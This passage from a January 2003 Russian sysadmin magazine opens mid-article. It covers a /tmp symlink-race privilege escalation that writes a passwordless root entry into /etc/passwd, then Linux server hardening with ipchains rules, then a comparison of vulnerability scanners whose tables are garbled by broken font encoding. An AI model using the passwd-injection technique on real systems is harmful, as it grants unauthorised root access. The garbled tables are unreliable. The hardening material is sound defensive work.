стую все, что находится до точки – не изменяется от запуска к запуску, а вот то, что после точки – должно быть всё время и, что немаловажно, уникальным. Наша программа будет иметь SUID-бит и создавать временный файл по следующей схеме – /tmp/ NameOfFile.PID, где PID – это, соответственно, номер процесса. Вполне возможно, что такой файл будет уникальным, однако его имя будет предсказуемо, и в этом заключается главная ошибка. Директория /tmp обычно разрешает запись в неё любых файлов, любого пользователя, и потому можно создать символическую ссылку на файл, который нужно переписать, но который имеет «недостижимые» для нас права доступа. Кроме того, пусть наша база данных записывает в файл аргументы, с которыми она была вызвана. Тогда делаем просто – создаём ссылку, скажем, с /etc/passwd на /tmp/ NameOfFile.Guesed_PID. Далее вызываем нашу базу данных с параметрами root::0:0:root:/root:/bin/sh. Допустим, по причине неправильных аргументов программа завершается, но что оказывается в файле /etc/passwd? Правильно – наша запись, которая позволяет заходить любому пользователю в качестве суперпользователя без пароля. Кстати, неплохо было бы сделать копию переписываемого файла, чтобы не было сильно заметно, что что-то произошло (благо /etc/passwd читаем любым пользователем). Вот и все.

Remote root attack После краткого экскурса по локальному получению прав суперпользователя перейдём к гораздо более опасным атакам – получение root удалённо. Алгоритм здесь похож (и, можно сказать, является доведённым до ума) на алгоритм D.o.S.-атак, только с той разницей, что теперь необходимо не просто выбить программу, а заставить её выполнить необходимый код. Естественно, желательно, чтобы эта программа работала от имени суперпользователя. В таком случае, при применении эксплоита, человек получает полноценный шелл (shell), что называется, не выходя из дома. Здесь нет особых премудростей (в использовании «дырок» по готовому

шаблону), необходимо «просто» найти машину с уязвимой программой. Для этого даже существуют специальные сканеры. Алгоритм их работы прост – либо генерируется случайный IP-адрес, либо его задаёт пользователь. Далее этот адрес пингуется; в том случае если машина отвечает, происходит подключение к определённому порту. Если все эти шаги проходят удачно, то в зависимости от искомого сервиса либо посылается какая-нибудь строка, либо нет. В любом случае «грабится» (grab – захватывать) так называемый банер (то, что выдаёт программа подключившемуся клиенту) и анализируется версия программного обеспечения (которая обычно выводится в банере). Если она удовлетворяет необходимым условиям – то всё хорошо, адрес машины заносится в лог-файл (log file), и сканер переходит к следующему адресу. В том случае если происходит провал хотя бы на одной стадии, то адрес отвергается и берётся следующий. Существует ряд людей, которые либо предоставляют подобные сканеры через веб-доступ (то есть для этого совершенно не нужно что-либо знать и иметь специального образования), нередко ещё рядом можно найти инструкцию «по применению» и всё необходимое программное обеспечение. Другие люди занимаются подобным сканированием со своих собственных машин и в большинстве случаев далеко не для того, чтобы получив root shell, сразу же послать письмо администратору с тем, что его машина уязвима, а с несколько другими целями. Если оставить споры о том, как можно называть таких людей, то можно сказать, что это своего рода санитары леса.

Безопасность серверов организации (реализация требований безопасности на примере ОС Linux) На данный момент в качестве серверной платформы всё чаще и чаще выбор останавливается на операционной системе Linux, нередко забывая о том, что в качестве одного из важнейших показателей работы сервера, помимо стабильности, является безопасность. В большинстве случаев установка

37


безопасность по умолчанию (за исключением некоторых специализированных дистрибутивов) оставляет большое количество сервисов, доступных «всему миру», а каждый такой сервис – это потенциальная дыра в безопасности сервера, поскольку новые проблемы безопасности обнаруживаются достаточно часто и регулярно. Кроме небезопасных сервисов, нужно также помнить и о безопасности всех остальных основных компонент сервера, каковыми в данном случае являются ядро системы и правила безопасности на уровне сетевых протоколов. Эти аспекты работы сервера и будут освещены в этой статье.

Ядро системы Операционная система Linux является плодом труда людей, а им, как известно, свойственно ошибаться, даже в коде ядра. Отсюда первая угроза безопасности – ошибки в ядре системы. Подобные ошибки обнаруживаются не столь часто, сколь ошибки во всём остальном программном обеспечении, однако же такое бывает. Защита здесь одна (одинаковая для всех подобных проблем) – постоянное отслеживание информации безопасности (например, неплохим источником информации, помимо списка рассылки от производителя дистрибутива, является сайт www.securityfocus.com и его списки рассылки) и показания сервера. Впрочем, существуют патчи на ядро, которые позволяют повысить защищённость системы в целом и ядра в частности. Основное внимание в таких патчах (в том числе кумулятивных) уделяется возможности противостоять системе от общих атак на программы с ошибкой на переполнение буфера, от атак на программы с некорректным созданием временных файлов и также на возможность уменьшить количество информации, которую может получить атакующий о системе (http://www.openwall.com/). Также существуют патчи, специализирующиеся на сетевом аспекте работы ядра ОС. В их задачи входит встраивание функции защиты от сканирования в ядро системы (http:// www.lids.org), а также функции затруднения определения версии ОС средствами таких сетевых сканеров, как nmap.

38

При объединении всех этих патчей получается ядро системы, которое самостоятельно сможет предохранять систему от большинства типов известных атак: атаки на переполнение буфера, атаки на программы с неправильной работой с временными файлами, сетевое сканирование машины с целью определения открытых портов и версии операционной системы.

ты как 37 (time), 69 (tftp), 79 (finger), 111 (sunrpc), 512 (TCP – exec; UDP – biff), 513 (TCP – login; UDP – who), 514 (TCP – cmd; UDP – syslog), 517 (talk), 525 (timeserver). Теперь что касается наиболее часто используемых сервисов, а именно: HTTP/HTTPS, FTP, Telnet/SSH, SMTP, POP3/IMAP и прокси-сервисы. Рассмотрим каждый сервис подробно.

Сетевые сервисы

HTTP/HTTPS

В большинстве случаев, по непонятным для автора причинам, на «свежеустановленном» сервере по умолчанию запущены практически все возможные сервисы (например, совершенно не нужный на сегодняшний день 7-ой порт, сервис echo). Практически каждый день находятся новые ошибки программирования в программном обеспечении. В том случае если будет найдена ошибка в сервисе, работающем на сервере, то через некоторое (не очень большое) время можно будет ожидать желающих скопрометировать сервер (так как, например, ошибки на переполнение буфера, дают возможность выполнить любой код с правами сервера, которые нередко есть права суперпользователя – root). Защититься от таких проблем можно: во-первых, регулярно отслеживая события безопасности (и опять же www.securityfocus.com будет, пожалуй, самым авторитетным и полным источником информации); во-вторых, немного «подковав» ядро системы (различными патчами безопасности, как описано выше); и в-третьих, просто используя серверы, которые пишутся с большой осторожностью и с учётом требований безопасности, ну и конечно же, не используя ненужные сервисы. Начнём, пожалуй, с ненужных сервисов. Задачи, конечно, у каждого сервера могут быть специфичными, но всё же можно сказать, что в большинстве случаев ненужными и в чёмто просто опасными являются порты (с соответствующими сервисами) с первого по девятнадцатый включительно. Какие-то из них могут быть полезными, но большинство из них сейчас не используется. Не стоит открывать без особых причин и такие пор-

Здесь особые вариации отсутствуют: на *nix платформах безгранично властвует Web-server Apache. Сервер этот в особых проблемах с безопасностью замечен не был, за исключением, может быть, настройки по умолчанию (в каковой присутствуют два не очень приятных для администратора скрипта). Да и работает этот сервер обычно от пользователя с минимальными правами в системе (идеальный вариант – вообще для каждого сервера/демона и для Apache в том числе – выделить своего отдельного пользователя с непересекающимися группами других сервисов и пользователей).

FTP Здесь ситуация уже не так однозначна: не столь редко, сколько хотелось бы можно встретить на дистрибутиве по умолчанию демон WU-FTP, который всем вроде неплох, но вот по количеству «дырок» среди себе подобных, он, пожалуй, безусловный лидер. В качестве альтернатив, написанных с учётом требований безопасности, можно предложить ProFTP, BSD FTPD. Стоит заметить, что сам по себе FTP-протокол небезопасен, о чём подробнее можно прочитать здесь http://www.security.nnov.ru/ articles/sacerdote.asp.

Telnet/SSH Оба вышеобозначенные протокола используются для удалённого доступа к машине. Относительно безопасности: в реализациях обоих протоколов были серьезные проблемы (например, remote root access через львиную долю реализаций протокола telnet), однако частота появлений таких дырок достаточно низка. Недостаток telnet-протокола в ос-


безопасность новном заключается в том, что при наличии возможности прослушивания линии (sniffing), можно восстановить всю сессию, включая введенные имя пользователя и пароль. Существуют реализации этого протокола с шифрованием всей введенной информации, но тогда теряется то преимущество, что telnet-клиенты есть практически во всех операционных системах, да и гораздо лучше с этим справляется протокол ssh. SSH изначально проектировался как замена telnet, а потому учитывает все его недостатки и, кроме того, добавляет большое количество полезных возможностей, а именно: полное шифрование сеанса, сжатие информации (вещь весьма полезная для доступа к серверу с dial-up соединений), а также возможность выступать посредником сетевого уровня между приложениями.

SMTP С самим по себе протоколом проблем особенных нет (тем более, что существует и его реализация с шифрованием информации), единственная проблема, обычно связанная с функцией отправки почты сервера – это сам демон – в большинстве случаев это сервер sendmail. В прошлом этот сервер имел, пожалуй, самую богатую родословную по количеству ошибок. Сейчас все (или большинство) эти проблемы похоже что устранены, но для использования на сервере всё же можно посоветовать почтовый клиент qmail (http://cr.yp.to/), неплохо справляющийся со своими функциями и не имеющий (на данный момент) проблем с безопасностью.

POP3/IMAP Здесь практически всё так же, как и с SMTP-протоколом, и в качестве сервера и здесь можно посоветовать всё тот же пакет qmail, куда входит и клиент для POP3.

Proxy-сервисы Здесь выбор, по большому счёту, невелик, и его приходится делать между Squid, Oops и модулем для сервера Apache. Если всё же останавливаться на специализированных для выполнения функций прокси-сервера программах, то остаёт-

№1(2), январь 2003

ся выбирать между Squid и Oops. Squid-сервер, несомненно, весьма мощный, с большим количеством возможностей, однако по параметрам безопасности выгоднее смотрится сервер Oops. Этот сервер уже давно не имел проблем безопасности (поскольку написан, как все описываемые здесь программы, с учётом требований безопасности), да и по потреблению системных ресурсов он выигрывает у Squid без уменьшения возможностей и качества работы.

Безопасность на сетевом уровне Кроме того что на сервере установлено специальным образом «пропатченное» ядро, безопасные сетевые сервисы, не помешает ещё озаботиться и безопасностью на уровне самого протокола TCP/IP, для чего обратимся к файрволу, стандартно идущему с системой (ниже будут даны правила ipchains, для ветки ядер 2.2.x). На данный момент в самом ядре уже есть функции, предельно затрудняющие сканирование системы, определение открытых портов и версии операционной системы, с помощью файрвола можно будет уже более точно откорректировать наши правила безопасности и ограничить доступ к некоторым сервисам. Хорошим началом можно считать правило, запрещающее все входящие пакеты; впоследствии уже разрешается только то, что необходимо: ipchains -P input DENY ipchains -O output REJECT ipchains -P forward REJECT

Далее даётся разрешение на свободный трафик по «кольцевому» интерфейсу lo0 и идёт серия запрещающих (точнее фильтрующих) правил для внутренней сети – запрет явно фальсифицированных пакетов (например, пакеты, пришедшие с внешнего интерфейса, но имеющие в качестве исходного адреса внутренний), и серия для протокола ICMP. По большому счёту, все пакеты этого протокола можно запретить, но при грамотной фильтрации можно оставить пакеты третьего, четвёртого, восьмого, одиннадцатого и двенадцатого типов, которые будут полезны для диагностирования ошибок.

Дальше идёт последовательное расписывание правил для каждого сервиса, что в общем случае будет выглядеть так (дан вариант для HTTPсервиса, другие сервисы, например DNS, могут иметь более сложную структуру): #client ipchains -A output -i $EXTERNAL_INTERFACE -p tcp -s $IPADDR $UNPRIVPORTS -d $ANYWHERE 80 -j ACCEPT ipchains -A input -i $EXTERNAL_INTERFACE -p tcp ! -y -s $ANYWHERE 80 -d $IPADDR $UNPRIVPORTS -j ACCEPT #server ipchains -A input -i $EXTERNAL_INTERFACE -p tcp -s $ANYWHERE $UNPRIVPORTS -d $IPADDR 80 -j ACCEPT ipchains -A output -i $EXTERNAL_INTERFACE -p tcp ! -y -s $IPADDR 80 -d $ANYWHERE $UNPRIVPORTS -j ACCEPT где $EXTERNAL_INTERFACE — название интерфейса, обращённого к внешней сети, $IPADDR — адрес сервера, $ANYWHERE — любой возможный адрес сети, $UNPRIVPORTS — номера непривилегированных портов (с 1024 по 65535).

Обычно также разрешается неограниченный трафик внутри локальной сети и входящие запросы от провайдера.

Итого С помощью всех вышеописанных шагов сетевая часть сервера была сделана более безопасной, однако же остаётся ещё много проблем: во-первых, постоянное отслеживание событий безопасности; а во-вторых, локальная безопасность, ведь у пользователя, имеющего регистрацию в системе, есть под рукой гораздо большее количество программ, чем только те, что были оставлены администратором для сетевого пользования, а потому и больше шансов на компрометацию системы. Часть проблем локального характера снимается вышеуказанными патчами на ядро, ещё часть проблем можно снять, удалив всё ненужное с сервера (например, первыми кандидатами можно назвать всевозможные игры). Всё остальное нужно только регулярно отслеживать, проверяя журналы регистрации (модифицированное таким образом ядро и грамотно настроенные программы будут оставлять много интересных записей в журналах).

39


безопасность

CРАВНЕНИЕ СЕТЕВЫХ СКАНЕРОВ БЕЗОПАСНОСТИ

ДМИТРИЙ НИКСОВ ПЕТР РУДЕЛЬ Введение по-научному Сканер безопасности – это программное средство для удаленной или локальной диагностики различных элементов сети на предмет выявления в них различных уязвимостей, которые могут быть использованы посторонними лицами для доступа к конфиденциальной информации и нарушения работы системы вплоть до полной потери данных и работоспособности. Основными пользователями систем аудита безопасности являются профессионалы: сетевые администраторы, специалисты по безопасности и т. д. Простые пользователи тоже могут использовать сканеры, но информация, выдаваемая такими программами, как правило, специфична, что ограничивает возможности ее применения неподготовленным человеком. Сканеры безопасности облегчают работу специалистов, сокращая суммарно потраченное время на поиск уязвимостей.

Введение по-человечески В принципе любой сканер безопасности не делает ничего

40

сверхъестественного: он просто перебирает все имеющиеся в его базе данных «дырки» (уязвимости) в программном обеспечении и проверяет их наличие на исследуемом компьютере. Конечно, эту работу можно сделать и вручную. Только в этом случае возникает три вопроса. ! Зачем делать нудную работу вручную, если имеется средство автоматизации? ! Уверены ли вы, что вам известны все уязвимости, которые следует проверить? ! Уверены ли вы, что при ручном анализе вы не допустите неточность и не забудете проверить все, что следует? Эти обстоятельства, на наш взгляд, достаточно убедительны для того, чтобы проголосовать за использование сканера, если вас вообще беспокоит информационная безопасность вашей компьютерной сети. Уверены, что она вам, конечно, небезразлична. Но как показывает практика, и в этом случае у многих остается вопрос:


безопасность Зачем честному человеку сканер безопасности? Не секрет, что сканеры безопасности любят использовать хакеры для поиска «дырок» в сетях своих потенциальных жертв. Хотя можете быть уверены, ни одной компаниипроизводителю никогда бы не пришло в голову делать продукт «под хакеров». Почему – объяснять, конечно, не требуется. Тем не менее частое использование сканеров в неблаговидных целях остается фактом. Отсюда мы можем вывести первый формальный аргумент в пользу использования сканера: тем самым вы можете взглянуть на свою сеть глазами потенциального злоумышленника. Этот аргумент, конечно, может показаться достаточно искусственным и надуманным, отвлекающим от решения прямых задач по обеспечению безопасности сети (настройке сетевых экранов, конфигурированию маршрутизаторов, назначению прав доступа и т. п.). Но это не так, поскольку за ним стоят вполне содержательные идеи. Главная из них заключается в несовершенстве любого системного и прикладного программного обеспечения. Какие бы многочисленные программно-аппаратные средства ограничения доступа к информации и компонентам сети вы не использовали, вы никогда не можете быть полностью уверены, что сами эти средства свободны от дефектов (уязвимостей, «дырок»), которые могут быть использованы посторонними для нарушения установленного порядка доступа (читай – взлома). Поэтому для полноценной, надежной системы безопасности сети следует не только грамотно планировать ее архитектуру и устанавливать то или иное ПО защиты данных, но и проводить постоянный мониторинг всего сетевого хозяйства на предмет возникающих «дыр». Именно – возникающих. Уязвимости, по аналогии с живыми объектами, имеют свойство возникать и плодиться даже в рамках одной отдельно взятой сети, и причин этому две. Во-первых, специалисты постоянно выявляют все новые и новые уязвимости в уже существующем ПО. До того момента пока уязвимость не была известна, мы можем, хотя и достаточно условно, полагать ее несуществующей. Но после того как она была опубликована, уже нет никакого разумного оправдания игнорировать ее. Другая причина «плодовитости» уязвимостей заключается в том, что в компьютерной сети достаточно часто может устанавливаться новое ПО. А вместе с ним в сети могут возникать и новые «дыры». Из всего сказанного следует достаточно очевидный вывод: аудит уязвимостей в сети нужен, причем он должен проводиться на регулярной основе. Как бы обременительно это не звучало, но обеспечение информационной безопасности в сети – это не разовое действие, а постоянный процесс. К счастью, имеются сканеры безопасности, позволяющие упростить и облегчить этот процесс. Наверное, мы привели достаточно аргументов, чтобы оправдать то время, потраченное вами на изучение приведенного ниже анализа.

Качество работы ядра Для сравнения были выбраны пять различных сканеров в разном ценовом диапазоне:

№1(2), январь 2003

ǹȒȈȕȍȘ

ǷȘȖȐȏȊȖȌȐȚȍȓȤ

ǸȈȏȔȍȘ

ǾȍȕȈ

,66 ,QWHUQHW 6FDQQHU

,QWHUQHW 6HFXULW\ 6\VWHPV 86$ KWWS ZZZ LVV QHW

0E

ǶȚ ȌȖ

*), 86$

0E

Ȍȓȧ ȕȍȒȖȔȔȍȘȟȍșȒȖȋȖ ȐșȗȖȓȤȏȖȊȈȕȐȧ ȉȍșȗȓȈȚȕȖ

0E

0E

ǩȍșȗȓȈȚȕȖ

0E

ǩȍșȗȓȈȚȕȖ

/DQ*XDUG

KWWS ZZZ ODQJXDUG FRP 6KDGRZ6HFXULW\6FDQQHU

6DIHW\ /DE KWWS ZZZ VDIHW\ ODE FRP

; 6FDQ

;IRFXV &KLQD KWWS ZZZ [IRFXV RUJ

;6SLGHU

3RVLWLYH 7HFKQRORJLHV ǸȖșșȐȧ KWWS ZZZ SWVHFXULW\ UX

Оговоримся сразу, что сюда вошли не все из наиболее известных на рынке продуктов (нет, например, продуктов Retina от «eEye Digital Security» и NetRecon от «Symantec»), но выборка, тем не менее, является достаточно представительной. Кроме того, может возникнуть вопрос о правомерности сравнения коммерческих и бесплатных продуктов. Тут мы хотели бы подчеркнуть, что в этой части сравнения мы фокусируем внимание на содержательной части работы сканеров – как много уязвимостей находит тот или иной сканер, как много он дает ложных срабатываний (что также достаточно существенно, поскольку требует дополнительного времени на отсев ошибочных диагностик). Обсуждение вопросов регулярности обновления и других аспектов поддержки и сопровождения мы оставим на потом. Чтобы сравнивать системы, подобные сканерам безопасности, недостаточно просто их запустить. Количество якобы проверяемых уязвимостей, обилие настроек, а также размер программы или её внешний вид не могут являться критериями для оценки качества содержательной работы того или иного сканера. Поэтому для того чтобы создать полноценное представление о работе различных сканеров безопасности, было решено провести их сравнительный тест по выявлению уязвимостей в семи различных операционных системах, часто используемых, в частности, крупными банками и финансовыми учреждениями: ! Solaris 2.6.1 ! Windows 2000 Server ! Windows XP Professional ! Linux RedHat 5.2 ! Compaq/Tandem Himalaya K2006 (OS D35) ! Bay Networks Router ! AS/400 Версии тестируемых сканеров (последние доступные на момент проверки): ! ISS Internet Scanner 6.2.1 с последними апдейтами ! LanGuard 2.0 ! ShadowSecurityScanner 5.31 ! XFocus X-Scan v1.3 GUI ! XSpider 6.01 Тестирование каждого сканера проводилось по два раза, тем самым исключая нежелательные возможные ошибки, связанные, например, с временной проблемой в сети. Все полученные данные были интегрированы в таблицу 1, показывающую, какая информация была получена тем или иным сканером. Желтым цветом обозначены уязвимости средней тяжести, которые при определенных обстоятельствах могут повлечь за собой

41


безопасность Ɍɚɛɥɢɰɚ Ⱦɚɧɧɵɟ ɬɟɫɬɢɪɨɜɚɧɢɹ ɫɟɬɟɜɵɯ ɫɤɚɧɟɪɨɜ ɞɥɹ ɪɚɡɥɢɱɧɵɯ ɨɩɟɪɚɰɢɨɧɧɵɯ ɫɢɫɬɟɦ

Ⱥ 6RODULV ȼɫɟɝɨ ɧɚɣɞɟɧɨ ɩɨɪɬɨɜ WFS HFKR XGS HFKR WFS GLVFDUG WFS GD\WLPH XGS GD\WLPH WFS FKDUJHQ XGS FKDUJHQ WFS IWS WFS IWS ± ɩɟɪɟɛɨɪ ɩɚɪɨɥɟɣ WFS WHOQHW WFS VPWS WFS VPWS ± ɧɟɚɜɬɨɪɢɡɨɜɚɧɧɚɹ ɨɬɩɪɚɜɤɚ ɩɨɱɬɵ WFS WLPH XGS GQV XGS GQV ± ɫɟɪɜɟɪ ɩɨɞɞɟɪɠɢɜɚɟɬ ɪɟɤɭɪɫɢɸ WFS VQPSWUDS XGS VQPS XGS VQPS ± ɞɨɫɬɭɩ ɩɨ ɥɸɛɨɦɭ ɤɨɦɶɸɧɢɬɢ XGS VQPS ± ɩɨɥɭɱɟɧɢɟ ,QWHUIDFH XGS VQPS ± ɩɨɥɭɱɟɧɢɟ 5RXWHV WFS H[HF WFS ORJLQ WFS VKHOO WFS SULQWHU WFS SULQWHU ± ɩɟɪɟɩɨɥɧɟɧɢɟ ɛɭɮɟɪɚ WFS XXFS WFS QIVG WFS QIVG ɢɞɟɧɬɢɮɢɤɚɰɢɹ WFS ; WFS KWWSG -LJVDZ D WFS KWWSG 0LQL6HUY WFS VWDWXV ± ɢɞɟɧɬɢɮɢɤɚɰɢɹ WFS UXVHUVG ± ɢɞɟɧɬɢɮɢɤɚɰɢɹ WFS WWGEVHUYHUG ± ɢɞɟɧɬɢɮɢɤɚɰɢɹ ɢ ɩɨɥɭɱɟɧɢɟ ɩɪɢɜɢɥɟɝɢɣ URRW WFS NFPVBVHUYHU ± ɢɞɟɧɬɢɮɢɤɚɰɢɹ WFS PRXQWG ± ɢɞɟɧɬɢɮɢɤɚɰɢɹ ɢ ɩɨɥɭɱɟɧɢɹ ɫɩɢɫɤɚ ɪɟɫɭɪɫɨɜ WFS ERRWSDUDP ± ɢɞɟɧɬɢɮɢɤɚɰɢɹ WFS 53& ,FPS WLPHVWDPS Ʌɨɠɧɵɟ ɫɪɚɛɚɬɵɜɚɧɢɹ WFS VWDWXV ± ɩɨɥɭɱɟɧɢɟ ɩɪɢɜɢɥɟɝɢɣ URRW )LQJHU ± ɩɟɪɟɩɨɥɧɟɧɢɟ ɛɭɮɟɪɚ WFS FKDUJHQ ± ɜɨɡɦɨɠɧɚ '26 ɚɬɚɤɚ

42

,66

;6

/*

666

;)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

; ; ; ; ; ; ; ; ; ;

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

; ; ; ; ; ; ; ; ;

;

;

; ; ;

; ;

;

; ;

;

;

;


безопасность ȼ :LQGRZV 6HUYHU ȼɫɟɝɨ ɧɚɣɞɟɧɨ ɩɨɪɬɨɜ WFS IWS WFS IWS ± ɩɟɪɟɩɨɥɧɟɧɢɟ ɛɭɮɟɪɚ WFS IWS ± ɚɧɨɧɢɦɧɵɣ ɜɯɨɞ WFS IWS ± ɩɟɪɟɛɨɪ ɩɚɪɨɥɟɣ WFS IWS ± ɟɫɬɶ ɞɨɫɬɭɩ ɧɚ ɡɚɩɢɫɶ WFS IWS ± ɜɨɡɦɨɠɟɧ ɫɛɨɪ ɫɬɚɬɢɫɬɢɤɢ WFS KWWSG 06 ,,6 WFS KWWSG ± ɩɟɪɟɩɨɥɧɟɧɢɟ ɛɭɮɟɪɚ WFS 5SF XGS LVDNPS WFS VTOVHUYHU H[H ± ɢɞɟɧɬɢɮɢɤɚɰɢɹ WFS 0V 64/ WFS 0V 5'3 ,FPS WLPHVWDPS Ʌɨɠɧɵɟ ɫɪɚɛɚɬɵɜɚɧɢɹ WFS 0V64/ ± ɩɟɪɟɯɜɚɬ ɚɞɦɢɧɢɫɬɪɚɬɢɜɧɨɣ ɫɟɫɫɢɢ

ɋ :LQGRZV ;3 3URIHVVLRQDO ȼɫɟɝɨ ɧɚɣɞɟɧɨ ɩɨɪɬɨɜ WFS HFKR XGS HFKR WFS GLVFDUG XGS GLVFDUG WFS GD\WLPH XGS GD\WLPH WFS TRWG XGS TRWG WFS FKDUJHQ XGS FKDUJHQ WFS 5SF WFS 1HW%LRV WFS 1HW%LRV ɢɧɮɨɪɦɚɰɢɹ WFS 06 'V XGS LVDNPS XGS URXWHU WFS 5SF ,FT&OLHQW XGS XSQS ± ɩɟɪɟɩɨɥɧɟɧɢɟ ɛɭɮɟɪɚ XGS QWS WFS KWWSG ,FPS WLPHVWDPS Ʌɨɠɧɵɟ ɫɪɚɛɚɬɵɜɚɧɢɹ WFS FKDUJHQ ± ɜɨɡɦɨɠɧɚ '26 ɚɬɚɤɚ

№1(2), январь 2003

,66

;6

/*

666

;)

; ; ; ; ;

; ; ; ; ; ;

; ; ;

; ; ; ; ;

; ; ; ;

; ; ;

; ; ; ; ;

; ; ;

; ; ;

; ; ;

;

,66

;6

/*

666

;)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

; ; ; ; ;

; ; ; ; ; ; ; ; ; ;

; ; ; ; ; ; ; ;

;

;

43


безопасность * $6

,66

;6

/*

666

;)

; ; ; ; ; ; ; ;

; ; ; ; ; ; ; ; ; ; ;

; ; ; ; ;

; ; ; ; ; ; ; ;

; ; ; ; ; ;

,66

;6

/*

666

;)

; ; ; ; ; ; ; ; ; ;

; ; ; ; ; ; ; ; ;

; ; ; ; ;

; ; ; ; ; ; ; ; ; ;

; ; ; ; ; ;

ȼɫɟɝɨ ɧɚɣɞɟɧɨ ɩɨɪɬɨɜ WFS IWS WFS IWS ± ɩɟɪɟɛɨɪ ɩɚɪɨɥɟɣ WFS WHOQHW WFS VPWS WFS KWWSG ,%0 +773 6(59(5 WFS KWWSG ,%0 +773 6(59(5 WFS KWWSG ɩɪɨɫɦɨɬɪ ɫɤɪɢɩɬɨɜ WFS QHWELRV WFS DV VHUYHUPDS ɩɪɨɫɦɨɬɪ ɤɚɪɬɵ ɩɨɪɬɨɜ WFS KWWSG ,%0 +773 6(59(5 WFS KWWSG ɩɪɨɫɦɨɬɪ ɫɤɪɢɩɬɨɜ WFS KWWSG -DYD:HE6HUYHU WFS KWWSG ɫɢɫɬɟɦɧɵɟ ɞɢɪɟɤɬɨɪɢɢ XGS LVDNPS ,FPS WLPHVWDPS

' /LQX[ 5HG+DW ȼɫɟɝɨ ɧɚɣɞɟɧɨ ɩɨɪɬɨɜ WFS IWS WFS IWS ± ɩɟɪɟɩɨɥɧɟɧɢɟ ɛɭɮɟɪɚ WFS IWS ± ɞɟɮɨɥɬɧɵɣ ɚɤɤɚɭɧɬ ɫ ɩɨɥɧɵɦ ɞɨɫɬɭɩɨɦ WFS WHOQHW WFS WHOQHW ɞɟɮɨɥɬɧɵɣ ɚɤɤɚɭɧɬ ɫ ɩɨɥɧɵɦ ɞɨɫɬɭɩɨɦ WFS VPWS WFS VPWS ± ɧɟɚɜɬɨɪɢɡɨɜɚɧɧɚɹ ɨɬɩɪɚɜɤɚ ɩɨɱɬɵ WFS VPWS ± ɥɨɤɚɥɶɧɵɣ ɩɟɪɟɯɜɚɬ ɫɨɤɟɬɚ WFS GQV WFS GQV ± ɨɩɪɟɞɟɥɟɧɢɟ ɜɟɪɫɢɢ ELQG WFS KWWSG WFS 1HW%LRV WFS 1HW%LRV ± ɩɨɥɭɱɟɧɢɟ ɢɧɮɨɪɦɚɰɢɢ WFS ORJLQ XGS UZKRG WFS VKHOO WFS SULQWHU WFS QIVG WFS KWWSG &RQIHUHQFH5RRP ,5& WFS KWWSG $SDFKH 8QL[ 5HG +DW /LQX[ WFS KWWSG ± ɥɢɫɬɢɧɝ ɞɢɪɟɤɬɨɪɢɣ WFS KWWSG &RQIHUHQFH5RRP ,5& ,FPS WLPHVWDPS Ʌɨɠɧɵɟ ɫɪɚɛɚɬɵɜɚɧɢɹ XGS UZKRG ± ɩɟɪɟɩɨɥɧɟɧɢɟ ɛɭɮɟɪɚ WFS SULQWHU ± ɩɟɪɟɩɨɥɧɟɧɢɟ ɛɭɮɟɪɚ

( &RPSDT 7DQGHP KLPDOD\D . 26 ' ȼɫɟɝɨ ɧɚɣɞɟɧɨ ɩɨɪɬɨɜ WFS HFKR WFS IWS WFS WHOQHW WFS WHOQHW ± ɜɯɨɞ ɬɨɥɶɤɨ ɩɨ ɩɚɪɨɥɸ WFS ILQJHU ,FPS QHWPDVN ,FPS WLPHVWDPS

44

;

; ; ; ; ; ; ;

;

; ; ; ; ; ; ; ;

;

; ; ; ; ; ;

; ;

,66

;6

/*

666

;)

; ; ; ; ; ; ;

; ; ; ;

; ; ;

; ; ; ;

; ; ; ;


безопасность ) %D\ 1HWZRUNV 5RXWHU ȼɫɟɝɨ ɧɚɣɞɟɧɨ ɩɨɪɬɨɜ XGS HFKR WFS IWS WFS WHOQHW Ʌɨɠɧɵɟ ɫɪɚɛɚɬɵɜɚɧɢɹ XGS GLVFDUG WFS IWS ± ɩɟɪɟɩɨɥɧɟɧɢɟ ɛɭɮɟɪɚ XGS WIWS XGS QWS XGS VQPS XGS URXWHG /DQG '26

серьезные потери, а красным – серьезные уязвимости, которые могут привести не только к серьезным потерям, но и к полному разрушению системы. Остальные строки относятся к нейтральной информации о системе, полученной сканерами. На основе таблиц была проведена интегральная оценка сканеров по следующей схеме: ! серьезная уязвимость: +3 балла ! уязвимость средней тяжести: +2 балла ! информация: +1 балл ! ложная серьезная уязвимость: -3 балла ! ложная уязвимость средней тяжести: -2 балла ! ложная информация: -1 балл Результат представлен в таблице 2. Оставляя в стороне подробные комментарии по отдельным обнаруженным уязвимостям, приведем окончательные данные в виде диаграммы. ɋɭɦɦɚɪɧɚɹ ɨɰɟɧɤɚ ɷɮɮɟɤɬɢɜɧɨɫɬɢ ɫɟɬɟɜɵɯ ɫɤɚɧɟɪɨɜ ɜ ɭɫɥɨɜɧɵɯ ɟɞɢɧɢɰɚɯ ; 6FDQ 666 /DQ*XDUG ;6SLGHU ,66

Ɍɚɛɥɢɰɚ ɂɧɬɟɝɪɚɥɶɧɵɟ ɪɟɡɭɥɶɬɚɬɵ ɬɟɫɬɢɪɨɜɚɧɢɹ ɫɟɬɟɜɵɯ ɫɤɚɧɟɪɨɜ ɞɥɹ ɪɚɡɥɢɱɧɵɯ ɨɩɟɪɚɰɢɨɧɧɵɯ ɫɢɫɬɟɦ ɋɢɫɬɟɦɚ

,66

;6SLGHU

/DQ*XDUG

666

; 6FDQ

$6 6RODULV &RPSDT 7DQGHP +LPDOD\D :LQGRZV 6HUYHU :LQGRZV ;3 3URIHVVLRQDO /LQX[ 5HG+DW %D\ 1HWZRUNV 5RXWHU ɂɬɨɝɨ

№1(2), январь 2003

,66

;6

/*

666

;)

; ; ;

; ; ;

; ;

; ;

; ;

; ; ; ; ; ; ;

